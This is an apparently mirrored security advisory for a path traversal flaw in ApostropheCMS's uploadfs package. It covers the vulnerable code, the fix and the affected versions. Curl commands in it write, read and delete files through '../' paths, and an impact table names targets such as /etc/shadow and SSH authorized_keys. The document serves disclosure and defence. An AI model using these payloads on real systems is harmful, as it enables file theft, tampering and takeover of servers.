ApostropheCMS: Path traversal in uploadfs
Summary
The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.
Details
Root Cause
packages/uploadfs/uploadfs.js:652-655
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655
function prefixPath(path) {
// Resolve any double // that results from the prefix
return (self.prefix + path).replace(/\/\//g, '/');
}
packages/uploadfs/lib/storage/local.js
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108
copyIn: function(localPath, path, options, callback) {
const uploadPath = uploadsPath + path; // [VULNERABLE]
return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
return fs.createReadStream(uploadsPath + path); // [VULNERABLE]
},
remove: function(path, callback) {
const uploadPath = uploadsPath + path; // [VULNERABLE]
fs.unlink(uploadPath, callback);
prefixPath()does not normalize paths or reject../.- The local backend concatenates the path directly into the filesystem call.
- Node.js resolves
/app/uploads/../../../tmp/pwned.txt→/tmp/pwned.txt.
Proof of Concept (PoC)
Here is the poc files https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk
Build and run
docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py
Expected output
[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.
Manual reproduction
# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
-F "path=../../../tmp/backdoor.txt" \
-F "file=@-;filename=backdoor.txt" <<< "malicious content"
# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"
# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"
Impact
| Capability | Risk |
|---|---|
| Arbitrary File Write | Write to /etc/cron.d/, .ssh/authorized_keys, or webroot files → Remote Code Execution |
| Arbitrary File Read | Exfiltrate /etc/shadow, application configs, database credentials |
| Arbitrary File Delete | Destroy system or application files → Denial of Service |
Remediation
Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:
const path = require('path');
function safePath(base, target) {
const resolved = path.resolve(base, target);
if (!resolved.startsWith(path.resolve(base) + path.sep)) {
throw new Error('Path traversal blocked: target is outside the intended directory');
}
return resolved;
}
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | uploadfs | < 1.28.0 | 1.28.0 |
References
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-gmfx-5g6x-rr72
- https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
- https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/uploadfs@1.28.0
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N- Weakness (CWE)
CWE-22- Platform
- npm
- Package
uploadfs- Disclosed
- 20.10.2026
- Updated
- 22.10.2026 18:07
Sources and licenses
OSV / GitHub Advisory Database - GHSA-gmfx-5g6x-rr72 - CC BY 4.0
Vulnerability history: uploadfs
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 10.2026 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Medium 1
- Low 1
Disclosures per year
- 2026: 2
-
ApostropheCMS: Path traversal in uploadfs this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.